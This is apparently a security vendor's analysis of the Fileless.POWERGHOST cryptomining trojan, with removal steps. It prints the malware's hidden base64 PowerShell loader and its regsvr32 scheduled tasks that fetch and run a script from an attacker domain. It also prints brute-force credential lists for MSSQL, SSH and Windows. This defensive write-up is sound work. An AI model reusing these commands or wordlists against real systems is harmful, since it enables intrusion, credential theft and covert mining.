Fileless.POWERGHOST

 Analysis by: Warren Adam Sto. Tomas

 THREAT SUBTYPE:

Fileless

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Propagates via software vulnerabilities

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of software vulnerabilities to propagate across networks.

It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

Payload:

Connects to URLs/IPs, Terminates processes, Downloads files, Steals information

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -NoP -NonI -W Hidden `"`$mon = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['mon'].Value;`$funs = ([WmiClass] 'root\default:Window_Core_Flush_Cach').Properties['funs'].Value ;iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(`$funs)));Invoke-Command -ScriptBlock `$RemoteScriptBlock -ArgumentList @(`$mon, `$mon, 'Void', 0, '', '')`

Autostart Technique

This Trojan starts the following services:

  • RpcSs
  • RpcLocator
  • RemoteRegistry
  • RpcEptMapper
  • Winmgmt
  • WinRM

Propagation

This Trojan takes advantage of the following software vulnerabilities to propagate across networks:

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • Powershell processes with an established TCP connection via port 80, or 14444
  • Any processes with established connection to ports 3333, 5555, or 7777

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://{BLOCKED}.{BLOCKED}.43.54:443/v9/windowsupdate/redir/muv4wuredir.cab?148619742
  • http://{URL}/vercheck.ps1
  • http://{URL}/w/cohernece.txt
  • http://{URL}/w/logos.png
  • http://{URL}/w/ver.txt
  • http://{URL}/w/antivirus.ps1
  • http://{URL}/shell (for Unix platforms)
    where {URL} can be any of the following:
    • owa.{BLOCKED}g.com
    • box.{BLOCKED}g.com

It saves the files it downloads using the following names:

  • %User Temp%\{random characters}.exe → TrojanSpy.Win32.BLUTEAL.D
  • %User Temp%\java-log-9527.log → contains shellcode
  • /tmp/coreupdtes (for Unix platforms) → contains script to download and execute a cryptominer

Information Theft

This Trojan gathers the following data:

  • User Credentials
  • OS Version
  • Computer Name
  • Domain Name

Other Details

This Trojan does the following:

  • It creates IPSec Firewall Policy
    • Name: netbc
    • Function: Blocks tcp connections to infected machine via port 445 (SMB)
  • It is capable of propagating in the local network via the following means:
    • SMB Exploit (MS17-010)
    • MSSQL and SSH Brute-Forcing
    • Dumping Windows Domain Credentials using any of the following techniques/tools
      • Mimikatz
      • Pass-The-Hash
  • It creates the following WMI Class under ROOT\default:
    • Window_Core_Flush_Cach
      • WMI objects:
        • mimi - Mimikatz scripts
        • mon - Monero cryptominer
        • funs - Powershell Empire modules used for propagation or lateral movement
        • ipsu - List of IP addresses vulnerable for propagation
        • i17 - List of IP addresses vulnerable for SMB exploit
        • ver - PowerGhost version
        • sc - Shellcode
  • It creates the following WMI Classes under ROOT\subscription to achieve persistence in the system:
    • CommandLineEventConsumer
      • Name: Systems Manage Consumer
      • Command: powershell.exe -NoP -NonI -W Hidden -E {base64 encoded command}
    • __EventFilter
      • Name: Systems Manage Filter
    • __FilterToConsumerBinding
  • It modifies power configuration settings using the following commands:
    • powercfg /CHANGE -standby-timeout-ac 0 (Standby timeout set to 0 minutes)
    • powercfg /CHANGE -hibernate-timeout-ac 0 (Hibernate timeout set to 0 minutes)
    • powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000 (Power buttons and lid close action set to do nothing)

It takes advantage of the following vulnerabilities:

It adds the following scheduled tasks:

  • Take name: SystemFlushDns
    Schedule: Every 24 hours
    Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
  • Task name: Microsoft Assist Job
    Schedule: Every 20 minutes
    Task to be run: regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll
    where {URL} can be any of the following:
    • owa.conf1g.com
    • box.conf1g.com

It uses the following set of credentials to brute force and gain access to the system:

  • MSSQL credentials
    • passwords:
      • sa
      • sa123
      • sa123456
      • 123
      • 1234
      • 12345
      • 123456
      • 1234567
      • 12345678
      • 654321
      • a
      • 54321
      • 111
      • 000000
      • 00000000
      • 11111111
      • 88888888
      • pass
      • passwd
      • password
      • sql
      • database
      • admin
      • root
      • abcd
      • abc123
      • secret
      • oracle
      • sybase
      • test
      • 123qwe
      • server
      • computer
      • Internet
      • super
      • 123asd
      • administrator
      • ihavenopass
      • godblessyou
      • enable
      • xp
      • 2002
      • 2600
      • 0
      • 1
      • 110
      • 111111
      • 121212
      • 123123
      • 1234qwer
      • 123abc
      • 007
      • abc
      • alpha
      • PASSWORD
      • 12
      • 321
      • 112233
      • 123321
      • 666666
      • 888888
      • abcdef
      • abcabc
      • a1b2c3
      • aaa111
      • qwerty
      • qweasd
      • iloveyou
      • 5201314
      • 123456789
      • sunshine
      • welcome
      • football
      • monkey
      • aa123456
      • password1
      • qwerty123
      • abcd1234
      • 987654321
      • princess
      • charlie
      • donald
      • 1qaz2wsx3edc
      • password123
      • q1w2e3r4
      • redhat
      • letmein
      • trustno1
      • dragon
      • baseball
      • master
      • ashley
      • bailey
      • passw0rd
      • shadow
      • superman
      • qazwsx
      • michael
      • mustang
      • access
      • 696969
      • batman
  • SSH credentials
    • usernames:
      • root
      • admin
      • ubuntu
      • test
      • oracle
      • user
    • passwords:
      • root
      • toor
      • root123
      • root1234
      • root12345
      • root123456
      • 123
      • 1234
      • 12345
      • 123456
      • admin
      • admin123
      • admin1234
      • admin12345
      • admin123456
      • test
      • test123
      • test1234
      • test12345
      • test123456
      • ubuntu
      • ubuntu123
      • ubuntu1234
      • ubuntu12345
      • ubuntu123456
      • oracle
      • oracle123
      • oracle1234
      • oracle12345
      • oracle123456
      • user
      • user123
      • user1234
      • user12345
      • user123456
      • password
      • PASSWORD
      • 000000
      • 1
      • 12
      • 321
      • 111111
      • 112233
      • 123123
      • 123321
      • 12345678
      • 654321
      • 666666
      • 888888
      • abcdef
      • abcabc
      • abc123
      • a1b2c3
      • aaa111
      • 123qwe
      • qwerty
      • qweasd
      • passwd
      • iloveyou
      • 5201314
      • 11111111
      • 123456789
      • 1234567
      • sunshine
      • welcome
      • football
      • monkey
      • aa123456
      • password1
      • qwerty123
      • administrator
      • abcd1234
      • 987654321
      • princess
      • charlie
      • donald
      • 1qaz2wsx3edc
      • password123
      • q1w2e3r4
      • redhat
      • letmein
      • trustno1
      • dragon
      • baseball
      • master
      • ashley
      • bailey
      • passw0rd
      • shadow
      • superman
      • qazwsx
      • michael
      • mustang
      • access
      • 696969
      • batman
  • Windows credentials
    • usernames:
      • administrator
      • admin
    • passwords:
      • 123456
      • password
      • PASSWORD
      • 000000
      • 1
      • 12
      • 123
      • 321
      • 1234
      • 111111
      • 112233
      • 123123
      • 123321
      • 12345678
      • 654321
      • 666666
      • 888888
      • abcdef
      • abcabc
      • abc123
      • a1b2c3
      • aaa111
      • 123qwe
      • qwerty
      • qweasd
      • admin
      • passwd
      • iloveyou
      • 5201314
      • 11111111
      • 123456789
      • 12345
      • 1234567
      • sunshine
      • welcome
      • football
      • monkey
      • aa123456
      • password1
      • qwerty123
      • administrator
      • abcd1234
      • 987654321
      • princess
      • charlie
      • donald
      • 1qaz2wsx3edc
      • password123
      • q1w2e3r4
      • redhat
      • letmein
      • trustno1
      • dragon
      • baseball
      • master
      • ashley
      • bailey
      • passw0rd
      • shadow
      • superman
      • qazwsx
      • michael
      • mustang
      • access
      • 696969
      • batman

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • SystemFlushDns - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”
  • Microsoft Assist Job - “regsvr32 /u /s /i:http://{URL}/antivirus.php scrobj.dll”

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Fileless.POWERGHOST. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 6

Scan your computer with your Trend Micro product to delete files detected as Fileless.POWERGHOST. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

NOTES:

Removing WMI Objects

  1. Run the command prompt (cmd.exe) as administrator.
  2. Remove the WMI objects mentioned above found in root\default namespace by typing and executing the following commands:

  3. powershell.exe -noprofile -executionpolicy bypass -command "if(Get-WMIObject -namespace root\default -query \"SELECT * FROM meta_class WHERE __class ='Window_Core_Flush_Cach'\"|Select-Object -Property Properties -ExpandProperty properties|Where{$_.Name -match \"funs\" -or $_.Name -match \"mimi\"}){Get-WMIObject -namespace root\default -query \"SELECT * FROM meta_class WHERE __class ='Window_Core_Flush_Cach'\"|Remove-WMIObject -Verbose}"
  4. Remove the WMI objects mentioned above found in root\Subscription namespace by typing and executing the following commands:

  5. powershell.exe -noprofile -executionpolicy bypass -command "Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter \""__Path LIKE '%Systems Manage Filter%'\"" | remove-WMIObject -Verbose"
    powershell.exe -noprofile -executionpolicy bypass -command "Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter \""Name= 'Systems Manage Filter'\"" |remove-WMIObject -Verbose"
    powershell.exe -noprofile -executionpolicy bypass -command "Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter \""CommandLineTemplate LIKE '%powershell.exe -NoP -NonI -W Hidden -E%'\"" | Remove-WMIObject -Verbose"

Deleting created IPSec Firewall Policy


  1. Run the command prompt (cmd.exe) as administrator.
  2. Delete the created IPSec Firewall Policy by typing and executing the following command:

  3. netsh ipsec static delete policy name=netbc


Did this description help? Tell us how we did.